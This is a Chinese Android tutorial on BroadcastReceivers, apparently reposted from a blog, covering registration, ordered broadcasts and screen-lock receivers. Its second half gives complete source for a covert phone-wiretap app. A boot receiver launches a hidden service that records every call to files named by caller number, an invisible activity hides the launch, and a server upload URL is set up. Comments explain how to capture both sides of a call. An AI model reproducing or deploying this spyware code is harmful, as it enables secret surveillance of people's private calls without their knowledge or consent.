本文共 7696 字,大约阅读时间需要 25 分钟。
BroadcastReceiver初识:
广播接收者(BroadcastReceiver)用于接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收,这个特性跟JMS中的Topic消息接收者类似。要实现一个广播接收者方法如下:
第一步:继承BroadcastReceiver,并重写onReceive()方法。public class IncomingSMSReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { }}第二步:订阅感兴趣的广播Intent,订阅(就是绑定)方法有两种一般使用第二种:
第一种:使用代码进行订阅
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);
第二种:在AndroidManifest.xml文件中的<application>节点里进行订阅:
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
自定义广播
1. 什么是广播?广播分为几部分?
广播电台:发送信号
收音机:接收信号
2. 广播接收者:安卓四大组件之一.用于接收如电量低 短信接收 等广播信息。
3. 广播的分类:
* 有序的广播:通过优先级匹配 优先级高的广播接收者先获取广播数据 有序广播可以终止广播 有序广播可以修改广播数据
* 无序的广播:电量低的广播,对于所有需要该状态的APP广播接收者来说 接收的顺序是无关紧要.(乱序 每次发送广播的时候接收的顺序是不一样 同时接收得到)
4. 有序的广播开发步骤:
1. 创建广播接收者
2. 为广播接收者配置优先级
3. 发送有序的广播
无序广播和有序广播
无序广播:当广播接收者对广播接收的顺序无关紧要。完全没顺序 顺序随机
有序广播:接收广播的顺序比较重要 当一个广播可以被拦截被修改的时候
广播接收者不可执行耗时操作
ANR :Application NOTRESPONSE 应用无响应 当应用卡顿超过5秒之后
onReceive 不能执行耗时操作 因为他运行在主线程里面执行
实验步骤:
1. 创建一个广播接收者。
2. 在广播接收者里面模拟一个耗时操作
解决方案:如果想在广播接收者里面执行耗时操作,就必须创建一个线程。
有何判断有序广播 1.sendOrderedBroadcast(intent, receiverPermission, resultReceiver, scheduler, initialCode, initialData, initialExtras); 有序广播接受着的特性 有三个特性 第一特性 :里面的优先级 就是可以按照顺序来决定 android:priority="333" 第二特性 :里面可以修改广播传输过来的内容 setResultData("");第三特性 :可以终止广播 abortBroadcast();
广播的截屏于锁屏操作
package com.li.openLock;import android.app.Activity;import android.content.IntentFilter;import android.os.Bundle;import android.view.Menu;import android.view.MenuItem;public class MainActivity extends Activity { ScreenReceiver screen; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main);//// //广播通过代码注册起来 registerReceiver(receiver, filter) receiver//该参数是一个BroadcastReceiver对象 //filter 对应// // //// // 该标签 里面有addAction方法 screen = new ScreenReceiver();//接听屏幕广播 IntentFilter filter = new IntentFilter(); filter.addAction("android.intent.action.SCREEN_OFF"); filter.addAction("android.intent.action.SCREEN_ON"); registerReceiver(screen,filter); } @Override protected void onDestroy() { super.onDestroy(); unregisterReceiver(screen);//移除注册广播 }}
package com.li.openLock;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;public class ScreenReceiver extends BroadcastReceiver{ /** * 锁屏于解锁是频繁操作 所以只能在当前页面注册该广播接听者 */ @Override public void onReceive(Context context, Intent intent) { if(intent.getAction().equals(Intent.ACTION_SCREEN_OFF)){ Log.v("wang", "锁屏"); }else if(intent.getAction().equals(Intent.ACTION_SCREEN_ON)){ Log.v("wang", "解屏"); } }}
电话窃听原理利用开机广播接收者启动服务
MainActivity.java 主线程
package com.li.callMyVoce;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.view.View;import android.widget.Toast;public class MainActivity extends Activity { private boolean mIsOpenServic; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //1.时时刻刻的接听用户当前的打电话状态 ----> Service //2.当用户开启接听电话的时候 开始录音 用户挂断了电话停止录音--->录音功能 //3.当发现网络状态(广播 判断是否有网络)是开着的时候就应该发送录音到后台服务器 Intent intent = new Intent(this,CallService.class); startService(intent); finish();//关闭页面启动服务在吧页面编程透明的在AndroidManifest.xml配置 } }
CallService.java 创建服务器
package com.li.callMyVoce;import java.io.File;import java.io.IOException;import java.text.SimpleDateFormat;import java.util.Date;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.util.Log;public class CallService extends Service{ private MediaRecorder mRecorder; private String url="http://192.168.43.167:8080/upload/upload"; @Override public void onCreate() { super.onCreate(); //开始时刻接听用户电话状态 休闲(没有接听电话) 邻响 接通 挂断 //如果自己去写代码接通用户状态 会很复杂 的操作 求系统 //系统服务getSystemService(name) 电话有关的服务 服务的后缀一般以service manager ...作为后缀 //TelephonyManager 他表示可以接听各种各样跟手机有关的很多服务 他表是一个大的概念 TelephonyManager manager=(TelephonyManager)getSystemService(TELEPHONY_SERVICE); //manager.listen(listener, events) manager.listen(new PhoneStateListener(){ //listener表是接听手机的那个状态比如说接听电话的服务new PhoneStateListenter()//重写方法等等 private String mIncomingNumber=""; boolean boo; @Override public void onCallStateChanged(int state, String incomingNumber) {//incomingNumber表示电话号码 只有来点时才有值 switch (state) { case TelephonyManager.CALL_STATE_IDLE: Log.v("wang", "CALL_STATE_IDLE 休闲状态 停止 挂断"); if(mRecorder!=null&&boo){ mRecorder.stop(); mRecorder.release(); mRecorder = null; boo=false; } break; case TelephonyManager.CALL_STATE_OFFHOOK: Log.v("wang", "CALL_STATE_OFFHOOK 接通"); //开始录音 MediaRecorder主要用来做一个路音的功能 mRecorder = new MediaRecorder(); //设置音频的来源 MIC DEFAULT主要用在开发的时候 //如果证实打电话 VOICE_DOWNLINK(只能窃取和别人通话的声音)/VOICE_UPLINK(只能听到自己的声音) VOICE_CALL(两边的声音均可听见) mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //录音之后要形成一个音频文件的后缀是 .3gp .mp3 .mp4 mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //设置音频的文件保存到生命地方 mRecorder.setOutputFile(getRecordFilePath(mIncomingNumber));//输出到哪里 //设置音频的解码 mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); try { mRecorder.prepare(); } catch (IOException e) { } mRecorder.start(); boo=true; break; case TelephonyManager.CALL_STATE_RINGING: Log.v("wang", "CALL_STATE_RINGING 电话铃声响状态"+incomingNumber); mIncomingNumber=incomingNumber; break; } } }, PhoneStateListener.LISTEN_CALL_STATE); // events 就是要指定对那些事件比较关心 } /** * 用户返回保存地址 * @param phoneCode 传输过来的电话号码 * @return 返回文件地址 */ private String getRecordFilePath(String phoneCode){ //文件格式 点个号码 +"#"+时间 +".3gp" SimpleDateFormat formatter = new SimpleDateFormat("yy-MM-dd hh:mm"); String fileName=phoneCode+"#"+formatter.format(new Date())+".3gp"; File file=new File(getFilesDir(),fileName); return file.getAbsolutePath(); } public String subName(String name){ return name.substring(name.lastIndexOf("/")+1); } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; }}
BootReceiver.java 创建开机广播接听器
package com.li.callMyVoce;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootReceiver extends BroadcastReceiver{ //创建一个广播接听器用于接听开机于关机的情况 @Override public void onReceive(Context context, Intent intent) { Intent service = new Intent(context,CallService.class); context.startService(service); }}
AndroidManifest.xml 配置文件
总结:
我学玩之后广播接听器认为就是用于跨软件操作 和 接听 信息等等事件...
BroadcastReceiver主要用于接收处理广播消息 不管是自己的还是外部软件以及系统都可以通过BroadcastReceiver处理
转载地址:https://liwangjiang.blog.csdn.net/article/details/79692398 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!